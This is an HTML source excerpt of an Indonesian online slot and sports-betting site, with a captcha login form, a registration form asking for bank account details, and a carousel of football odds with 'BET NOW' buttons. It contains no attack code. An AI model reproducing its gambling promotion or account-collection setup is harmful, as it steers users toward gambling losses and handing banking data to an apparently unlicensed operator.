font-size: 13px; 1654 margin-bottom: 10px; 1655 } 1656 1657 .team-col { 1658 width: 30%; 1659 } 1660 1661 .score-col { 1662 width: 40%; 1663 } 1664 1665 .team-logo { 1666 width: 42px; 1667 height: 42px; 1668 margin-bottom: 4px; 1669 } 1670 1671 .team-name { 1672 font-size: 12px; 1673 line-height: 1.15; 1674 min-height: 30px; 1675 } 1676 1677 .score-value { 1678 font-size: 22px; 1679 margin-bottom: 8px; 1680 } 1681 1682 .bet-btn { 1683 min-width: 88px; 1684 font-size: 13px; 1685 padding: 8px 14px; 1686 border-radius: 8px; 1687 } 1688 1689 .match-odds-row { 1690 margin-top: 10px; 1691 } 1692 1693 .odds-col, 1694 .odds-col small { 1695 font-size: 11px; 1696 } 1697 1698 .carousel-control-prev, 1699 .carousel-control-next { 1700 width: 34px; 1701 } 1702 1703 .carousel-control-prev-icon, 1704 .carousel-control-next-icon { 1705 width: 2rem; 1706 height: 2rem; 1707 background-size: 50% 50%; 1708 } 1709 1710 .carousel-indicators { 1711 margin-bottom: -2px; 1712 } 1713 1714 .carousel-indicators [data-bs-target] { 1715 width: 7px; 1716 height: 7px; 1717 margin: 0 3px; 1718 } 1719 } 1720 </style> 1721 <!-- Banner SBO End --> 1722 1723 <div class="promosi"> 1724 1725 <!-- Desktop --> 1726 <div class="desktop-only h-100"> 1727 <div class="d-flex align-items-center h-100"> 1728 <a href="/promosi" class="menu-item"> 1729 <i class="menu-item-icon icon-promotion"></i> 1730 <label>PROMOSI</label> 1731 </a> 1732 1733 <a href="/event" class="menu-item"> 1734 <i class="menu-item-icon icon-event"></i> 1735 <label>EVENT</label> 1736 </a> 1737 </div> 1738 </div> 1739 1740 1741 1742 1743 <!--<div class="btn-informasi desktop-only" onclick="document.getElementById('modal-wrapper').style.display='block'"><a class="pointer" href="javascript:page('tentang');" style="text-decoration: none;" data-toggle="tooltip" data-placement="bottom" title="Informasi"><i class="bi bi-info-circle-fill" style="font-size: 16px"></i></a></div>--> 1744 1745 <!-- Mobile --> 1746 1747 <div class="mobile-only" style="padding-top: 24px"> 1748 1749 <div class="d-flex gap-3 justify-content-center align-items-center"> 1750 <a href="/?desktop" style="display: grid; place-items: center; font-size: 1.2rem; cursor: pointer; color: var(--menu-item-color)">Desktop</a> 1751 <div style="height: 1.1rem; width: 1.5px; background: var(--menu-item-color)"></div> 1752 1753 <a href="/wap" style="display: grid; place-items: center; font-size: 1.2rem; cursor: pointer; color: var(--menu-item-color)">Wap</a> 1754 </div> 1755 1756 1757 </div> 1758 </div> 1759 1760 </div> 1761 1762 </header> 1763 1764 1765 1766 <div id="marquee" class="marquee desktop-only"> 1767 <div class="marquee-content py-2"> 1768 <div class="d-flex
1768align-items-center gap-2"> 1769 <div id="timenow" class="desktop-only" style="white-space: nowrap;"></div> 1770 <i class="bi bi-megaphone-fill desktop-only"></i> 1771 </div> 1772 <div class="running" style="padding-left: 8px; padding-right: 32px"> 1773 <div class="broadcast" style="width: 100%">Selamat Datang Di Situs Slot777 Terpercaya Resmi Dengan Minimal Bet 400 Rupiah</div> 1774 </div> 1775 <div class="d-flex align-items-center gap-2"> 1776 <div id="desktoplogin" class="desktop-only"> 1777 <form class="login-form form" role="form"> 1778 <div id="msgbox" style="margin-right: 8px; color: #b29459; font-size: 1rem; white-space:nowrap;"></div> 1779 <div class="input-group login-field"> 1780 <span class="input-group-text prepend mobile-only "><div class="h-100 center"><i class="bi bi-person-circle prepend-icon"></i></div></span> 1781 <input type="text" name="username" class="form-control login-input-field username" placeholder="Nama Akun" aria-label="Username"> 1782 </div> 1783 1784 1785 1786 <div class="input-group login-field"> 1787 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 1788 <input type="password" name="password" class="form-control login-input-field password" placeholder="Kata Sandi" aria-label="Password"> 1789 </div> 1790 1791 <!-- captcha --> 1792 1793 <div class="verifikasiform" style=" "> 1794 <div style="display: flex; gap: 2px;"> 1795 <span id="verifikasi"><img src="/capimg.php" width="40" height="30" style="border:1px #999 solid;"></span> 1796 <input type="text" class="form-control login-field" name="verifikasi" id="verform" style="width:40px;height: 30px !important" autocomplete="off"> 1797 </div> 1798 1799 </div> 1800 <input type="hidden" name="verif" id="verifval" class="verifval" value="1"> 1801 1802 <!-- end captcha --> 1803 1804 1805 <button type="submit" value="Masuk" class="btn btn-masuk fw-bold p-0 px-2 submit">Masuk</button> 1806 <button type="button" class="btn btn-daftar btn-daftar-desktop fw-bold p-0 px-2 desktop-only" onclick="window.location.href='/register'">Daftar</button> 1807 1808 1809 <input type="hidden" name="task" value="login"> 1810 <input type="hidden" name="iscaptchalogin" value="1"> 1811 <input type="hidden" name="logindesktop" value="/Uep6Iaxp3MDMa6/EUNLPJ6jdxT31JsWCk7bdgDhatk="> 1812 <input type="hidden" name="isrecaptchalogin" value="0"> 1813 </form> 1814 1815 </div> 1816 1817 1818 <!--<a href="/event">--> 1819 <!-- <img src="https://img.viva88athenae.com//btnevent.png" alt="EVENT" height="24px"/>--> 1820 <!--</a>--> 1821 </div> 1822 </div> 1823 </div> 1824 1825 1826 1827 <!--Informasi Modal --> 1828 <div id="modal-wrapper" class="modal" style=" background:none;"> 1829 1830 <div class="slideDown" id="informasi-menu"> 1831 <div class="row"> 1832 <div class="col-xs-3" style="padding-right:0px; width:164px"> 1833 <div id="informasi-logo"> 1834 <img src="/images/logoweb.png" width="120px"/> 1835 </div> 1836 <div class="menuleft"> 1837 1838 <a class="active btn-black" href="javascript:toggleInformasi('tentang');">TENTANG KAMI</a> 1839 <a class="btn-black" href="javascript:toggleInformasi('bantuan');">BANTUAN</a> 1840 <a class="btn-black" href="javascript:toggleInformasi('peraturan');">PERATURAN</a> 1841 <a class="btn-black" href="javascript:toggleInformasi('bank');">INFORMASI BANK</a> 1842 <a class="btn-black" href="javascript:toggleInformasi('hubungi');">HUBUNGI KAMI</a> 1843 <a class="btn-black" href="javascript:toggleInformasi('privasi');">KEBIJAKAN PRIVASI</a> 1844 <a class="btn-black" href="javascript:toggleInformasi('cookies');">PERSETUJUAN COOKIES</a> 1845 1846 </div> 1847 </div> 1848 <div class="col-xs-9" id="informasi-content" style="position: relative"> 1849 <div onclick="document.getElementById('modal-wrapper').style.display='none'" class="closebox" title="Close Informasi">×</div> 1850 <div style="margin: 32px 0; height:600px; overflow: auto; z-index:1;" id="content2"> 1851 </div> 1852 </div> 1853 1854 </div> 1855 </div> 1856 </div> 1857 1858 1859 1860 1861 <div class="contentdata"> 1862 <div id="content-primary" class="p-0"> 1863 1864 1865 <div class="content-body" style="position: relative"> 1866 <div class="content-area">
1867 <div id="content" class="content-box"> 1868 1869 <style> 1870 .error-msg { color: red; font-size: 12px; margin-top: 3px; display: none; } 1871 .error-border { border-color: red !important; } 1872 .valid-border { border-color: green !important; } 1873 </style> 1874 <div id="desktopregister" class="panel panel-default panelbg ptsans"> 1875 <div class="panel-body panelbg"> 1876 <div style="margin-bottom:16px; font-weight: bold; font-size: 1.5rem"><i class="bi bi-person-fill"></i> Daftar</div> 1877 <div id="statusRegister"></div> 1878 <form class="form-group-sm" id="formRegister"> 1879 <div class="form-group-sm" id="input-username"> 1880 <label>Username</label><input type="text" class="form-control has-success" name="username" id="reg_username" placeholder="Username 6-16 karakter standar (A~Z, a~z, 0~9) dan tanpa spasi"> 1881 <div class="error-msg" id="err_username"></div> 1882 </div> 1883 <div class="row" style="margin-top:10px"> 1884 <div class="form-group-sm col-md-3" id="input-pass"> 1885 <label>Password</label><input type="password" id="reg_pass" name="pass" class="form-control" placeholder="Password (6 karakter atau lebih)"> 1886 <div class="error-msg" id="err_password"></div> 1887 </div> 1888 <div class="form-group-sm col-md-3" id="input-passcon"> 1889 <label>Konfirmasi Password</label><input type="password" id="reg_passcon" name="passcon" class="form-control" placeholder="Password sekali lagi"> 1890 <div class="error-msg" id="err_passcon"></div> 1891 </div> 1892 <div class="form-group-sm col-md-3" id="input-email"> 1893 <label>Email</label><input type="text" id="reg_email" name="email" class="form-control" placeholder="Masukkan Email"> 1894 <div class="error-msg" id="err_email"></div> 1895 </div> 1896 <div class="form-group-sm col-md-3" id="input-telpon"> 1897 <label>Telpon</label><input type="text" id="reg_telpon" inputmode="numeric" name="telpon" class="form-control" placeholder="Masukkan Telpon"> 1898 <div class="error-msg" id="err_telpon"></div> 1899 </div> 1900 </div> 1901 <div class="row" style="margin-top:10px"> 1902 <div class="form-group-sm col-md-3" id="input-bank"> 1903 <label>Bank</label> 1904 <select class="form-control" name="bank" id="reg_bank"> 1905 <option value="">Pilih Bank</option> 1906 <option value="BCA">BCA</option> 1907 <option value="Mandiri">Mandiri</option> 1908 <option value="BNI">BNI</option> 1909 <option value="BRI">BRI</option> 1910 <option value="CIMB">CIMB</option> 1911 <option value="Danamon">Danamon</option> 1912 <option value="Permata">Permata</option> 1913 <option value="BJB">BJB</option> 1914 <option value="PANIN">PANIN</option> 1915 <option value="OCBC">OCBC</option> 1916 <option value="DKI">DKI</option> 1917 <option value="SUMUT">SUMUT</option> 1918 <option value="BSI">BSI</option> 1919 <option value="NEO">NEO</option> 1920 <option value="JAGO">JAGO</option> 1921 <option value="SeaBank">SeaBank</option> 1922 <option value="NOBU">NOBU</option> 1923 <option value="Maybank">Maybank</option> 1924 <option value="Mestika">Mestika</option> 1925 <option value="Sinarmas">Sinarmas</option> 1926 <option value="Mega">Mega</option> 1927 <option value="Jenius">Jenius</option> 1928 <option value="DANA">DANA</option> 1929 <option value="OVO">OVO</option> 1930 <option value="ShopeePay">ShopeePay</option> 1931 <option value="GOPAY">
1931GOPAY</option> 1932 <option value="LinkAja">LinkAja</option> 1933 <option value="Superbank">Superbank</option> 1934 <option value="SAQU">SAQU</option> 1935 <option value="Lain-lain">Lain-lain</option> 1936 </select> 1937 <div class="error-msg" id="err_bank"></div> 1938 </div> 1939 <div class="form-group-sm col-md-3" id="input-rek"> 1940 <label>No Rekening</label><input type="text" inputmode="numeric" name="rek" id="reg_rek" class="form-control" placeholder="Masukkan nomor rekening"> 1941 <div class="error-msg" id="err_rek"></div> 1942 </div> 1943 <div class="form-group-sm col-md-3" id="input-nama"> 1944 <label>Nama sesuai Rekening</label><input name="nama" type="text" id="reg_nama" class="form-control" placeholder="Nama sesuai Rekening"> 1945 <div class="error-msg" id="err_nama"></div> 1946 </div> 1947 <div class="form-group-sm col-md-3" id="input-ref"> 1948 <label>Referal</label><input name="ref" type="text" id="reg_ref" class="form-control" placeholder="Username Referal bila ada"> 1949 <div class="error-msg" id="err_ref"></div> 1950 </div> 1951 </div> 1952 <div class="row" style="margin-top:10px"> 1953 <div class="form-group-sm col-md-3" id="input-verifikasi"> 1954 <label>Verifikasi</label><input type="text" name="regverifikasi" id="reg_verifikasi" maxlength="32" class="form-control" placeholder="Isi karakter di samping"> 1955 <div class="error-msg" id="err_verifikasi"></div> 1956 </div> 1957 <div class="form-group-sm col-md-3"> 1958 <label> </label><span id="capverifikasi"><img src="capreg.php" width="100%" height="30" style="border:1px #999 solid;"></span> 1959 </div> 1960 1961 </div> 1962 <div style="margin-top:15px"> 1963 <label class="checkbox-inline" style="display: flex; gap: 4px"> 1964 <input type="checkbox" checked disabled> 1965 <div>Dengan ini saya menyatakan bahwa saya telah membaca dan menyetujui <a href="javascript:showInformasi('privasi')" style="color: var(--primary-color)">Kebijakan Privasi</a> pada Situs ini.</div> 1966 </label> 1967 1968 </div> 1969 <input type="button" class="btn btn-masuk fw-bold" value="Daftar" style="margin-top:20px; width:200px; text-align: center; display: grid; place-items: center; line-height: var(--text-size-default); height: 40px" id="buttonRegisterDesktop"> 1970 <input type="hidden" name="task" value="register"> 1971 <input type="hidden" name="regdesktop" value="6lGd+NSn8sHlNX/IAgjoZlYcv+QsDgzeNBDEBCTkl3o="> 1972 <input type="hidden" name="iscaptcharegister" value="1"> 1973 <input type="hidden" name="isrecaptcha" value="0"> 1974 <input type="hidden" name="isrecaptcharegister" value="0"> 1975 </form> 1976 </div> 1977 </div> 1978
1979<script> 1980(function(){ 1981 function root(){ return document.getElementById('desktopregister'); } 1982 function q(id){ return root()?.querySelector('#'+id) || null; } 1983 function qe(sel){ return root()?.querySelector(sel) || null; } 1984 1985 function showError(field,msg){ 1986 const err = qe('#err_'+field), inp = q('reg_'+field); 1987 if (err){ err.textContent = msg; err.style.display = 'block'; } 1988 if (inp){ inp.classList.remove('valid-border'); inp.classList.add('error-border'); } 1989 } 1990 function clearError(field){ 1991 const err = qe('#err_'+field), inp = q('reg_'+field); 1992 if (err) err.style.display = 'none'; 1993 if (inp){ inp.classList.remove('error-border'); inp.classList.add('valid-border'); } 1994 } 1995 1996 // validator functions 1997 1998 function checkPasswordStrengthJS(username, password) { 1999 const min_length = 6; 2000 const length = password.length; 2001 2002 if (length < min_length) { 2003 return "Password harus minimal " + min_length + " karakter"; 2004 } 2005 2006 if(!USE_STRONG_VALIDATION) { 2007 return null; 2008 } 2009 const hasLower = /[a-z]/.test(password); 2010 const hasUpper = /[A-Z]/.test(password); 2011 if (!(hasLower && hasUpper)) { 2012 return "Password harus mengandung minimal 1 huruf kecil, 1 huruf besar, dan angka."; 2013 } 2014 if (!/[0-9]/.test(password)) { 2015 return "Password harus mengandung angka"; 2016 } 2017 if (username && password.toLowerCase().includes(username.toLowerCase())) { 2018 return "Password tidak boleh mengandung username"; 2019 } 2020 const numSeq = /(012|123|234|345|456|567|678|789|890|210|321|432|543|654|765|876|987|098)/; 2021 if (numSeq.test(password)) { 2022 return "Password tidak boleh mengandung angka berurutan"; 2023 } 2024 const letterSeqStr = "(abc|bcd|cde|def|efg|fgh|ghi|hij|ijk|jkl|klm|lmn|mno|nop|opq|pqr|qrs|rst|stu|tuv|uvw|vwx|wxy|xyz|" 2025 + "cba|dcb|edc|fed|gfe|hgf|ihg|jih|kji|lkj|mlk|nml|onm|pon|qpo|rqp|srq|tsr|uts|vut|wvu|xwv|yxw|zyx|" 2026 + "qwert|werty|asdf|zxcv|uiop|hjkl)"; 2027 const letterSequences = new RegExp(letterSeqStr, "i"); 2028 if (letterSequences.test(password)) { 2029 return "Password tidak boleh mengandung huruf berurutan"; 2030 } 2031 return null; 2032 } 2033 2034 // validator functions 2035 const useStrongValidation = false; 2036 2037 function vUsername(){ 2038 const v = (q('reg_username')?.value||'').trim(); 2039 if(!v) return showError('username','Username tidak boleh kosong'), false; 2040 if(v.length<6) return showError('username','Username minimal 6 karakter'), false; 2041 if(v.length>16) return showError('username','Username maksimal 16 karakter'), false; 2042 if(!/^[A-Za-z0-9]+$/.test(v)) return showError('username','Hanya huruf/angka'), false; 2043 clearError('username'); return true; 2044 } 2045 function vPass(){ 2046 const username = (q('reg_username')?.value || '').trim(); 2047 const v = q('reg_pass')?.value || ''; 2048 if(!v) { 2049 showError('password','Password tidak boleh kosong'); 2050 return false; 2051 } 2052 const err = useStrongValidation ? checkPasswordStrengthJS(username, v) : null; 2053 if (err) { 2054 showError('password', err); 2055 return false; 2056 } 2057 clearError('password'); 2058 if (q('reg_passcon')?.value) { 2059 vPasscon(); 2060 } 2061 2062 return true; 2063 } 2064 function vPasscon() { 2065 const username = (q('reg_username')?.value || '').trim(); 2066 const p1 = q('reg_pass')?.value || ''; 2067 const p2 = q('reg_passcon')?.value || ''; 2068 if (!p2) { 2069 showError('passcon', 'Konfirmasi password kosong'); 2070 return false; 2071 } 2072 const err = useStrongValidation ? checkPasswordStrengthJS(username, p1) : null; 2073 if (err) { 2074 showError('passcon', err); 2075 return false; 2076 } 2077 if (p1 !== p2) { 2078 showError('passcon', 'Konfirmasi tidak sama'); 2079 return false; 2080 } 2081 clearError('passcon'); 2082 return true; 2083 } 2084 function vEmail(){ 2085 const v=(q('reg_email')?.value||'').trim(); 2086 if(!v) return showError('email','Email tidak boleh kosong'), false; 2087 if(!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v)) return showError('email','Format email salah'), false; 2088 clearError('email'); return true; 2089 } 2090 function vTelp(){ 2091 const el=q('reg_telpon'); if(!el) return true; 2092 el.value=el.value.replace(/\D/g,''); 2093 if(!el.value) return showError('telpon','Telpon kosong'), false; 2094 if(el.value.length<10) return showError('telpon','Telpon minimal 10 digit'), false; 2095 clearError('telpon'); return true; 2096 } 2097 function vBank(){ 2098 if(!q('reg_bank')?.value) return showError('bank','Pilih bank'), false; 2099 clearError('bank'); return true; 2100 } 2101 function vRek(){ 2102 const el=q('reg_rek'); if(!el) return true; 2103 el.value=el.value.replace(/\D/g,''); 2104 if(!el.value) return showError('rek','Rekening kosong'), false; 2105 if(el.value.length<8) return showError('rek','Minimal 8 digit'), false; 2106 clearError('rek'); return true; 2107 } 2108 function vNama(){ 2109 const v=(q('reg_nama')?.value||'').trim(); 2110 if(!v) return showError('nama','Nama kosong'), false; 2111 if(v.length<3) return showError('nama','Nama minimal 3 karakter'), false; 2112 if(!/^[a-zA-Z\s]+$/.test(v)) return showError('nama','Nama hanya boleh huruf'), false; 2113 clearError('nama'); return true; 2114 } 2115 function vVerifOpt(){ 2116 const el = q('reg_verifikasi'); if (!el) return true; 2117 const v = (el.value || '').trim(); 2118 if (!v) return showError('verifikasi','Kode verifikasi harus diisi'), false; 2119 clearError('verifikasi'); return true; 2120 } 2121 2122 function validateAll(){ 2123 return vUsername() & vPass() & vPasscon() & vEmail() & vTelp() & vBank() & vRek() & vNama(); 2124 } 2125 window.validateAllDesktop = validateAll; 2126 2127 function attach(id, validator, opts){ 2128 const el=q(id); if(!el) return; 2129 const run=()=>validator(); 2130 el.addEventListener('focus',run); 2131 if(!opts||opts.input!==false) el.addEventListener('input',run); 2132 el.addEventListener('blur',run); 2133 if(opts&&opts.change) el.addEventListener('change',run); 2134 } 2135 2136 document.addEventListener('DOMContentLoaded',function(){ 2137 attach('reg_username',vUsername); 2138 attach('reg_pass',vPass); 2139 attach('reg_passcon',vPasscon); 2140 attach('reg_email',vEmail); 2141 attach('reg_telpon',vTelp); 2142 attach('reg_bank',vBank,{input:false,change:true}); 2143 attach('reg_rek',vRek); 2144 attach('reg_nama',vNama); 2145 attach('reg_verifikasi',vVerifOpt); 2146 2147 const f=q('formRegister'); 2148 if(f){ 2149 f.addEventListener('submit',function(e){
2150 if(!validateAll()){ 2151 e.preventDefault(); 2152 } 2153 }); 2154 } 2155 }); 2156})(); 2157</script>
2157 2158 2159 2160 </div> 2161 </div> 2162 </div> 2163 2164 2165 </div> 2166 </div> 2167 2168 2169 2170 <div class="widget-kupon"> 2171 <!-- <div style="position:relative; width:100%;"> --> 2172 <iframe class="iframe-kupon" src="https://fkupon.com/widget2.php"></iframe> 2173 <div onclick="scrollToLoginForm('kupon')" style="position:absolute; top:0; left:0; right:0; bottom:0; cursor:pointer; z-index:5;"></div> 2174 <!-- </div> --> 2175 </div> 2176 2177 <!-- BANNER SBO MOBILE --> 2178 <div class="widget-sbo mobile-only"> 2179 <div class="match-slider-wrap"> 2180 <div id="sboMatchCarouselMobile" class="carousel slide" data-bs-ride="carousel" data-bs-interval="4500"> 2181 2182 <div class="carousel-indicators"> 2183 <button 2184 type="button" 2185 data-bs-target="#sboMatchCarouselMobile" 2186 data-bs-slide-to="0" 2187 class="active" 2188 aria-current="true" aria-label="Slide 1"> 2189 </button> 2190 <button 2191 type="button" 2192 data-bs-target="#sboMatchCarouselMobile" 2193 data-bs-slide-to="1" 2194 class="" 2195 aria-label="Slide 2"> 2196 </button> 2197 <button 2198 type="button" 2199 data-bs-target="#sboMatchCarouselMobile" 2200 data-bs-slide-to="2" 2201 class="" 2202 aria-label="Slide 3"> 2203 </button> 2204 <button 2205 type="button" 2206 data-bs-target="#sboMatchCarouselMobile" 2207 data-bs-slide-to="3" 2208 class="" 2209 aria-label="Slide 4"> 2210 </button> 2211 <button 2212 type="button" 2213 data-bs-target="#sboMatchCarouselMobile" 2214 data-bs-slide-to="4" 2215 class="" 2216 aria-label="Slide 5"> 2217 </button> 2218 <button 2219 type="button" 2220 data-bs-target="#sboMatchCarouselMobile" 2221 data-bs-slide-to="5" 2222 class="" 2223 aria-label="Slide 6"> 2224 </button> 2225 <button 2226 type="button" 2227 data-bs-target="#sboMatchCarouselMobile" 2228 data-bs-slide-to="6" 2229 class="" 2230 aria-label="Slide 7"> 2231 </button> 2232 <button 2233 type="button" 2234 data-bs-target="#sboMatchCarouselMobile" 2235 data-bs-slide-to="7" 2236 class="" 2237 aria-label="Slide 8"> 2238 </button> 2239 <button 2240 type="button" 2241 data-bs-target="#sboMatchCarouselMobile" 2242 data-bs-slide-to="8" 2243 class="" 2244 aria-label="Slide 9"> 2245 </button> 2246 <button 2247 type="button" 2248 data-bs-target="#sboMatchCarouselMobile" 2249 data-bs-slide-to="9" 2250 class="" 2251 aria-label="Slide 10"> 2252 </button> 2253 </div> 2254 2255 <div class="carousel-inner"> 2256 <div class="carousel-item active"> 2257 <div class="row g-3"> 2258 <div class="col-12"> 2259 <div class="match-card h-100"> 2260 <div class="league-name"> 2261 ENGLISH PREMIER LEAGUE </div> 2262 2263 <div class="kickoff-time"> 2264 October 10, 2026 â 18:30 WIB </div> 2265 2266 <div class="match-main-row"> 2267 <div class="team-col"> 2268 <img 2269 src="https://cdn.sportnanoapi.com/football/team/d6f5debc456da1119256ab66462ab510.png" 2270 alt="Arsenal" 2271 class="team-logo" 2272 > 2273 <div class="team-name"> 2274 Arsenal </div> 2275 </div> 2276 2277 <div class="score-col"> 2278 <div class="score-value"> 2279 0 : 0 </div> 2280 2281 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100346')"> 2282 BET NOW 2283 </a> 2284 </div> 2285 2286 <div class="team-col"> 2287 <img 2288 src="https://cdn.sportnanoapi.com/football/team/cd46d2ed1d364308dc206c97b48
2288ce556.png" 2289 alt="Leeds United" 2290 class="team-logo" 2291 > 2292 <div class="team-name"> 2293 Leeds United </div> 2294 </div> 2295 </div> 2296 2297 <div class="match-odds-row"> 2298 <div class="odds-col"> 2299 <span> 2300 0.75 <small>0.50</small> 2301 </span> 2302 </div> 2303 2304 <div class="odds-spacer"></div> 2305 2306 <div class="odds-col"> 2307 <span> 2308 -0.75 <small>-0.60</small> 2309 </span> 2310 </div> 2311 </div> 2312 </div> 2313 </div> 2314 </div> 2315 </div> 2316 <div class="carousel-item "> 2317 <div class="row g-3"> 2318 <div class="col-12"> 2319 <div class="match-card h-100"> 2320 <div class="league-name"> 2321 ENGLISH PREMIER LEAGUE </div> 2322 2323 <div class="kickoff-time"> 2324 October 10, 2026 â 21:00 WIB </div> 2325 2326 <div class="match-main-row"> 2327 <div class="team-col"> 2328 <img 2329 src="https://cdn.sportnanoapi.com/football/team/a0cf8f551e9440acb3f4ff533dcc58a4.png" 2330 alt="Chelsea" 2331 class="team-logo" 2332 > 2333 <div class="team-name"> 2334 Chelsea </div> 2335 </div> 2336 2337 <div class="score-col"> 2338 <div class="score-value"> 2339 0 : 0 </div> 2340 2341 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100428')"> 2342 BET NOW 2343 </a> 2344 </div> 2345 2346 <div class="team-col"> 2347 <img 2348 src="https://cdn.sportnanoapi.com/football/team/240b30d333c97d293752ab7afd77ccd6.png" 2349 alt="Bournemouth AFC" 2350 class="team-logo" 2351 > 2352 <div class="team-name"> 2353 Bournemouth AFC </div> 2354 </div> 2355 </div> 2356 2357 <div class="match-odds-row"> 2358 <div class="odds-col">
2359 <span> 2360 0.5 <small>0.66</small> 2361 </span> 2362 </div> 2363 2364 <div class="odds-spacer"></div> 2365 2366 <div class="odds-col"> 2367 <span> 2368 -0.5 <small>-0.76</small> 2369 </span> 2370 </div> 2371 </div> 2372 </div> 2373 </div> 2374 </div> 2375 </div> 2376 <div class="carousel-item "> 2377 <div class="row g-3"> 2378 <div class="col-12"> 2379 <div class="match-card h-100"> 2380 <div class="league-name"> 2381 SPAIN LA LIGA </div> 2382 2383 <div class="kickoff-time"> 2384 October 10, 2026 â 23:30 WIB </div> 2385 2386 <div class="match-main-row"> 2387 <div class="team-col"> 2388 <img 2389 src="https://cdn.sportnanoapi.com/football/team/f378eb1ea04e53999b89051aa3244de6.png" 2390 alt="Barcelona" 2391 class="team-logo" 2392 > 2393 <div class="team-name"> 2394 Barcelona </div> 2395 </div> 2396 2397 <div class="score-col"> 2398 <div class="score-value"> 2399 0 : 0 </div> 2400 2401 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215606')"> 2402 BET NOW 2403 </a> 2404 </div> 2405 2406 <div class="team-col"> 2407 <img 2408 src="https://cdn.sportnanoapi.com/football/team/36bf5bf0c8fdf08c1270124808f060e1.png" 2409 alt="Getafe" 2410 class="team-logo" 2411 > 2412 <div class="team-name"> 2413 Getafe </div> 2414 </div> 2415 </div> 2416 2417 <div class="match-odds-row"> 2418 <div class="odds-col">
2419 <span> 2420 2.5 <small>0.82</small> 2421 </span> 2422 </div> 2423 2424 <div class="odds-spacer"></div> 2425 2426 <div class="odds-col"> 2427 <span> 2428 -2.5 <small>-0.92</small> 2429 </span> 2430 </div> 2431 </div> 2432 </div> 2433 </div> 2434 </div> 2435 </div> 2436 <div class="carousel-item "> 2437 <div class="row g-3"> 2438 <div class="col-12"> 2439 <div class="match-card h-100"> 2440 <div class="league-name"> 2441 ENGLISH PREMIER LEAGUE </div> 2442 2443 <div class="kickoff-time"> 2444 October 10, 2026 â 21:00 WIB </div> 2445 2446 <div class="match-main-row"> 2447 <div class="team-col"> 2448 <img 2449 src="https://cdn.sportnanoapi.com/football/team/a3c32d6a906083118cac2cb796edaab3.png" 2450 alt="Aston Villa" 2451 class="team-logo" 2452 > 2453 <div class="team-name"> 2454 Aston Villa </div> 2455 </div> 2456 2457 <div class="score-col"> 2458 <div class="score-value"> 2459 0 : 0 </div> 2460 2461 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100395')"> 2462 BET NOW 2463 </a> 2464 </div> 2465 2466 <div class="team-col"> 2467 <img 2468 src="https://cdn.sportnanoapi.com/football/team/60f1c7788be3148a370dbf59f914abfe.png" 2469 alt="Brentford" 2470 class="team-logo" 2471 > 2472 <div class="team-name"> 2473 Brentford </div> 2474 </div> 2475 </div> 2476 2477 <div class="match-odds-row"> 2478 <div class="odds-col">
2479 <span> 2480 0.00 <small>-0.97</small> 2481 </span> 2482 </div> 2483 2484 <div class="odds-spacer"></div> 2485 2486 <div class="odds-col"> 2487 <span> 2488 0.00 <small>0.87</small> 2489 </span> 2490 </div> 2491 </div> 2492 </div> 2493 </div> 2494 </div> 2495 </div> 2496 <div class="carousel-item "> 2497 <div class="row g-3"> 2498 <div class="col-12"> 2499 <div class="match-card h-100"> 2500 <div class="league-name"> 2501 ENGLISH PREMIER LEAGUE </div> 2502 2503 <div class="kickoff-time"> 2504 October 10, 2026 â 21:00 WIB </div> 2505 2506 <div class="match-main-row"> 2507 <div class="team-col"> 2508 <img 2509 src="https://cdn.sportnanoapi.com/football/team/957bdc50c307e2a9b526b34b3792da1a.png" 2510 alt="Sunderland" 2511 class="team-logo" 2512 > 2513 <div class="team-name"> 2514 Sunderland </div> 2515 </div> 2516 2517 <div class="score-col"> 2518 <div class="score-value"> 2519 0 : 0 </div> 2520 2521 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100525')"> 2522 BET NOW 2523 </a> 2524 </div> 2525 2526 <div class="team-col"> 2527 <img 2528 src="https://cdn.sportnanoapi.com/football/team/9b43a690d5a09f1e319f036821e8e1d3.png" 2529 alt="Brighton & Hove Albion" 2530 class="team-logo" 2531 > 2532 <div class="team-name"> 2533 Brighton & Hove Albion </div> 2534 </div> 2535 </div> 2536 2537 <div class="match-odds-row"> 2538 <div class="odds-col">
2539 <span> 2540 0.00 <small>-0.82</small> 2541 </span> 2542 </div> 2543 2544 <div class="odds-spacer"></div> 2545 2546 <div class="odds-col"> 2547 <span> 2548 0.00 <small>0.72</small> 2549 </span> 2550 </div> 2551 </div> 2552 </div> 2553 </div> 2554 </div> 2555 </div> 2556 <div class="carousel-item "> 2557 <div class="row g-3"> 2558 <div class="col-12"> 2559 <div class="match-card h-100"> 2560 <div class="league-name"> 2561 ENGLISH PREMIER LEAGUE </div> 2562 2563 <div class="kickoff-time"> 2564 October 10, 2026 â 23:30 WIB </div> 2565 2566 <div class="match-main-row"> 2567 <div class="team-col"> 2568 <img 2569 src="https://cdn.sportnanoapi.com/football/team/d39ce586fd7278342dde33b3090b3f75.png" 2570 alt="Manchester United" 2571 class="team-logo" 2572 > 2573 <div class="team-name"> 2574 Manchester United </div> 2575 </div> 2576 2577 <div class="score-col"> 2578 <div class="score-value"> 2579 0 : 0 </div> 2580 2581 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100582')"> 2582 BET NOW 2583 </a> 2584 </div> 2585 2586 <div class="team-col"> 2587 <img 2588 src="https://cdn.sportnanoapi.com/football/team/8b22ab4041e666b996a2d96f20dea707.png" 2589 alt="Tottenham Hotspur" 2590 class="team-logo" 2591 > 2592 <div class="team-name"> 2593 Tottenham Hotspur </div> 2594 </div> 2595 </div> 2596 2597 <div class="match-odds-row"> 2598 <div class="odds-col">
